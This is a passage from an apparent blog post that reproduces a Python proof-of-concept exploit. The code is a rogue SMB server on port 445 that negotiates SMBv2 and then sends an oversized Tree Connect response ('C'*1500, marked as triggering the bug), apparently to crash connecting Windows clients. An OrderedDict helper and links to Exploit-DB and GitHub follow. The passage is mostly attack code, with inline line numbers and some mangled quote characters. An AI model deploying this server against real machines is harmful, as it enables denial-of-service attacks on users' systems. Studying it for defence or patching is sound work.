str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"]) 335 336 #Packet Struct len 337 self.fields["SecBlobLen"] = struct.pack("<h",len(CalculateSecBlob)) 338 self.fields["SecBlobTag0Len"] = struct.pack("<B",len(CalculateASN)) 339 self.fields["NegTokenRespLen"] = struct.pack("<B", len(CalculateASN)-2) 340 self.fields["SecBlobTag3Len"] = struct.pack("<B",len(MechLen)) 341 self.fields["SecBlobOctetLen"] = struct.pack("<B",len(MechLen)-2) 342 343 class SMB2TreeData(Packet): 344 fields = OrderedDict([ 345 ("Len", "\x10\x00"), 346 ("ShareType", "\x02\x00"), 347 ("ShareFlags", "\x30\x00\x00\x00"), 348 ("ShareCapabilities", "\x00\x00\x00\x00"), 349 ("AccessMask", "\xff\x01\x1f\x01"), 350 ("Data", ""), 351 ]) 352 353 ########################################################################## 354 class SMB2(SocketServer.BaseRequestHandler): 355 356 def handle(self): 357 try: 358 self.request.settimeout(1) 359 print "From:", self.client_address 360 data = self.request.recv(1024) 361 362 ##Negotiate proto answer. 363 if data[8:10] == "\x72\x00" and data[4:5] == "\xff": 364 head = SMBv2Header(CreditCharge="\x00\x00",Credits="\x01\x00",PID="\x00\x00\x00\x00") 365 t = SMB2NegoAns() 366 t.calculate() 367 packet1 = str(head)+str(t) 368 buffer1 = longueur(packet1)+packet1 369 print "[*]Negotiating SMBv2." 370 self.request.send(buffer1) 371 data = self.request.recv(1024) 372 373 if data[16:18] == "\x00\x00": 374 CreditsRequested = data[18:20] 375 if CreditsRequested == "\x00\x00": 376 CreditsRequested = "\x01\x00" 377 CreditCharged = data[10:12] 378 head = SMBv2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) 379 t = SMB2NegoAns(Dialect="\x02\x02") 380 t.calculate() 381 packet1 = str(head)+str(t) 382 buffer1 = longueur(packet1)+packet1 383 print "[*]Negotiate Protocol SMBv2 packet sent." 384 self.request.send(buffer1) 385 data = self.request.recv(1024) 386 387 #Session More Work to Do 388 if data[16:18] == "\x01\x00": 389 head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID="\x4d\x00\x00\x00\x00\x04\x00\x00",NTStatus="\x16\x00\x00\xc0") 390 t = SMB2Session1Data() 391 t.calculate() 392 packet1 = str(head)+str(t) 393 buffer1 = longueur(packet1)+packet1 394 print "[*]Session challenge SMBv2 packet sent." 395 self.request.send(buffer1) 396 data = self.request.recv(1024) 397 398 #Session Positive 399 if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02": 400 head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data)) 401 t = SMB2SessionAcceptData() 402 t.calculate() 403 packet1 = str(head)+str(t) 404 buffer1 = longueur(packet1)+packet1 405 self.request.send(buffer1) 406 data = self.request.recv(1024) 407 408 ## Tree Connect 409 if data[16:18] == "\x03\x00": 410 head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data)) 411 t = SMB2TreeData(Data="C"*1500)#//BUG 412 packet1 = str(head)+str(t) 413 buffer1 = longueur(packet1)+packet1 414 print "[*]Triggering Bug; Tree Connect SMBv2 packet sent." 415 self.request.send(buffer1) 416 data = self.request.recv(1024) 417 418 except Exception: 419 print "Disconnected from", self.client_address 420 pass 421 422 SocketServer.TCPServer.allow_reuse_address = 1 423 launch = SocketServer.TCPServer((‘‘, 445),SMB2) 424 launch.serve_forever()
odict.py
1 from UserDict import DictMixin 2 3 class OrderedDict(dict, DictMixin): 4 5 def __init__(self, *args, **kwds): 6 if len(args) > 1: 7 raise TypeError(‘expected at most 1 arguments, got %d‘ % len(args)) 8 try: 9 self.__end 10 except AttributeError: 11 self.clear() 12 self.update(*args, **kwds) 13 14 def clear(self): 15 self.__end = end = [] 16 end += [None, end, end] 17 self.__map = {} 18 dict.clear(self) 19 20 def __setitem__(self, key, value): 21 if key not in self: 22 end = self.__end 23 curr = end[1] 24 curr[2] = end[1] = self.__map[key] = [key, curr, end] 25 dict.__setitem__(self, key, value) 26 27 def __delitem__(self, key): 28 dict.__delitem__(self, key) 29 key, prev, next = self.__map.pop(key) 30 prev[2] = next 31 next[1] = prev 32 33 def __iter__(self): 34 end = self.__end 35 curr = end[2] 36 while curr is not end: 37 yield curr[0] 38 curr = curr[2] 39 40 def __reversed__(self): 41 end = self.__end 42 curr = end[1] 43 while curr is not end: 44 yield curr[0] 45 curr = curr[1] 46 47 def popitem(self, last=True): 48 if not self: 49 raise KeyError(‘dictionary is empty‘) 50 if last: 51 key = reversed(self).next() 52 else: 53 key = iter(self).next() 54 value = self.pop(key) 55 return key, value 56 57 def __reduce__(self): 58 items = [[k, self[k]] for k in self] 59 tmp = self.__map, self.__end 60 del self.__map, self.__end 61 inst_dict = vars(self).copy() 62 self.__map, self.__end = tmp 63 if inst_dict: 64 return (self.__class__, (items,), inst_dict) 65 return self.__class__, (items,) 66 67 def keys(self): 68 return list(self) 69 70 setdefault = DictMixin.setdefault 71 update = DictMixin.update 72 pop = DictMixin.pop 73 values = DictMixin.values 74 items = DictMixin.items 75 iterkeys = DictMixin.iterkeys 76 itervalues = DictMixin.itervalues 77 iteritems = DictMixin.iteritems 78 79 def __repr__(self): 80 if not self: 81 return ‘%s()‘ % (self.__class__.__name__,) 82 return ‘%s(%r)‘ % (self.__class__.__name__, self.items()) 83 84 def copy(self): 85 return self.__class__(self) 86 87 @classmethod 88 def fromkeys(cls, iterable, value=None): 89 d = cls() 90 for key in iterable: 91 d[key] = value 92 return d 93 94 def __eq__(self, other): 95 if isinstance(other, OrderedDict): 96 return len(self)==len(other) and 97 min(p==q for p, q in zip(self.items(), other.items())) 98 return dict.__eq__(self, other) 99 100 def __ne__(self, other): 101 return not self == other 102 103 104 if __name__ == ‘__main__‘: 105 d = OrderedDict([(‘foo‘,2),(‘bar‘,3),(‘baz‘,4),(‘zot‘,5),(‘arrgh‘,6)]) 106 assert [x for x in d] == [‘foo‘, ‘bar‘, ‘baz‘, ‘zot‘, ‘arrgh‘]
0x02.参考链接
Exploit-db:https://www.exploit-db.com/exploits/41222/
lgandx/GitHub:https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect
时间: 2024-10-21 20:33:07